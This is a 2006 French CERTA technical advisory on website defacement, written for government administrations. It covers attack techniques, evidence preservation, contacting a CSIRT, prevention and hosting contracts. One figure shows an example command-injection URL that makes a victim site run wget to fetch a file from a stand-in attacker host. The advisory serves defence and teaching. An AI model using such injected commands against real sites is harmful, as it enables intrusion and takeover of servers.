Fiche technique rédigée par le CERTA (Centre d'Expertise Gouvernemental de Réponse et de Traitement des Attaques informatiques)

Paris, le 18 décembre 2006

La *défiguration* des sites WEB

Gilles ANDRÉ
mailto:gilles.andre@certa.ssi.gouv.fr

1 - Introduction

La *défiguration* (aussi appelée *defacement* ou *barbouillage*) de site WEB est une attaque qui consiste à ajouter ou modifier une page sur un site WEB.

Plusieurs sites où les *barbouilleurs* revendiquent leurs actes offrent une certaine visibilité à cette activité.

Le Centre d'Expertise Gouvernemental de Réponse et de Traitement des Attaques informatiques (CERTA), depuis sa création en 1999, dans le cadre de sa mission de réponse aux incidents de sécurité, assiste les administrations victimes de telles attaques. Le CERTA est le CSIRT (équipe de réponses d'urgence aux incidents de sécurité) de l'administration française.

Le CERTA appartient à la Direction Centrale de la Sécurité des Systèmes d'Information, pôle interministériel d'expertise et d'assistance en sécurité des systèmes d'information au sein du Sécrétariat Général de la Défense Nationale.

2 - Techniques d'attaque

Les *barbouilleurs* utilisent différentes techniques :

fonctionnalités du serveur
: le protocole HTTP 1.1 permet de modifier des pages avec la commande PUT. Des attaques basées sur ces techniques ne sont rendues possibles que par une mauvaise configuration du serveur et du *reverse-proxy* ;

pages dynamiques
: sur un serveur de pages dynamiques (CGI, PHP, ASP), plus difficile à sécuriser ou à configurer qu'un serveur statique, l'utilisation de simples URLs permet de modifier les pages en lançant des commandes ou en injectant des requêtes sur la base de données (cf. figure 1);

faille de sécurité
: une faille permet au *barbouilleur* de s'introduire dans le système ; il en profite pour modifier des pages.

3 - Outils de sécurité

La protection des systèmes d'information est traditionnellement mise en oeuvre à l'aide de divers outils tels que :

- des anti-virus, des anti-spywares ;

- des pare-feux ;

Ces outils sont toutefois impuissants pour lutter contre une attaque sur le port 80/TCP d'un serveur WEB.

4 - Un train peut en cacher un autre

Le CERTA a analysé en détail plusieurs attaques de ce type. L'enseignement principal retiré de ces analyses est que la *défiguration* n'est que la partie visible d'une attaque.

---

http://victime.fr/index.php?commande=wget%20http://pirate.com/index.html

Sur un site WEB vulnérable, l'intrusion peut être réalisée par l'exécution de commandes (ici wget) passées dans des URLs. Un simple navigateur permet de prendre le contrôle de la machine.

Figure 1: URLs agressifs

Un agresseur peut utiliser le procédé décrit figure 1 pour lancer des commandes qui ouvrent une porte dérobée, volent des mots de passe, installent des outils, etc.

Dans de nombreux cas, la *défiguration* est le symptôme d'attaques plus profondes, révélant plusieurs agresseurs antérieurs moins voyants.

5 - La communication n'est pas la sécurité

Un site WEB étant souvent la vitrine d'une organisation, la *défiguration* dégrade son image. Le webmestre inexpérimenté est ainsi tenté de restituer au plus vite l'apparence officielle. C'est à la fois naïf et dangereux. Naïf parce que la *défiguration* est déjà revendiquée publiquement sur des sites WEB spécialisés. Il est donc vain de cacher cette page.

Dangereux parce que restituer la page originale détruit des indices utiles si la victime souhaite :

- comprendre *toute* l'attaque afin d'éviter qu'elle ne se reproduise ;
- éventuellement porter plainte pour intrusion frauduleuse.

6 - Action du CERTA

Lorsque le CERTA a connaissance de telles attaques, il prévient les administrations victimes *en donnant les conseils qui atténuent les conséquences de l'attaque par une réponse appropriée*. Il intervient également à la demande d'une victime qui s'est aperçue seule d'un problème de sécurité.

Avec l'accord de la victime, le CERTA peut procéder à une analyse détaillée de l'attaque et éventuellement effectuer un déplacement sur site.

7 - Comment réagir ?

7.1 - Prévention

Une bonne prévention consiste à avoir une bonne gestion de la sécurité : gestion du parc,[1] application des correctifs de sécurité, bonne configuration, filtrage (en particulier en sortie),[2] contrôle d'intégrité (techniquement le meilleur moyen de détecter une *défiguration*), journalisation (WEB, pare-feu), auditer son système, avoir une machine de secours et les documents originaux hors ligne.[3]

Les outils de journalisation produisent un réel gain dans la détection des problèmes de sécurité lorsqu'on affecte des ressources *humaines* pour les dépouiller au quotidien.

7.2 - Réaction

Les délais de réaction sont considérablement réduits lorsque les webmestres lisent les journaux de connexions ou de pare-feu.
Le *premier* réflexe en cas de découverte ou de signalement d'une *défiguration* devrait être de contacter un CSIRT. Cette démarche est le seul moyen d'éviter le risque de destruction d'indices pour garantir toutes les possibilités de réponses.

7.3 - Sous-traitance

De nombreux sites WEB sont hébergés.

Le CERTA a pu constater que les hébergeurs informent rarement les victimes d'une attaque. Dans le cas d'un traitement de données personnelles, la responsabilité de la victime pourrait être engagée pour des faits dont elle n'a pas connaissance.

L'*hébergement mutualisé* (plusieurs sites sont hébergés sur une même machine appartenant à l'hébergeur) augmente les risques de *défiguration* et complique considérablement la réponse.

Les risques de défiguration augmentent, parce qu'une seule attaque peut modifier le contenu de *tous* les sites d'un même serveur.

Le légitime respect de la confidentialité due aux autres victimes interdit l'accès aux éléments permettant de comprendre la portée de l'attaque, le problème n'est pas vraiment corrigé, d'où de fréquentes récidives.

L'insécurité reste trop souvent le prix à payer pour un système bon marché.

Enfin peu d'hébergeurs font partie du réseau des CSIRTs. Confier la réponse à l'incident à l'hébergeur expose au risque de destruction définitive d'indices. Un contrat de sous-traitance devrait donc garantir au client :

- l'accès systématique aux journaux ;
- l'information sans délais de toute attaque ; le client doit seul décider de la nature des suites à donner ;
- le droit d'accéder à la machine en cas d'incident ;
- l'hébergement mutualisé seulement si tous les sites sur le serveur lui appartiennent ;
- un contact joignable rapidement.

8 - Références

- portail thématique de sécurité des systèmes d'information de l'État : http://www.ssi.gouv.fr
- la liste des CSIRTs français : http://www.certa.ssi.gouv.fr/certa/cert.html
- Obstacles à la résolution d'incidents http://www.certa.ssi.gouv.fr/site/CERTA-2004-ALE-001.html
- Que faire en cas d'intrusion http://www.certa.ssi.gouv.fr/site/CERTA-2002-INF-002.html
- Bonnes pratiques concernant l'hébergement mutualisé http://www.certa.ssi.gouv.fr/site/CERTA-2005-INF-005/index.html

---

1 de nombreux sites défigurés sont créés pour un événement puis oubliés.

2 un serveur WEB ne devrait pas être autorisé à *surfer* sur Internet.

3 disposer, d'une machine de secours et de l'original du contenu du site hors ligne, ne permet pas de se prémunir contre une attaque, mais permet, en cas d'intrusion, une remise en service plus aisée.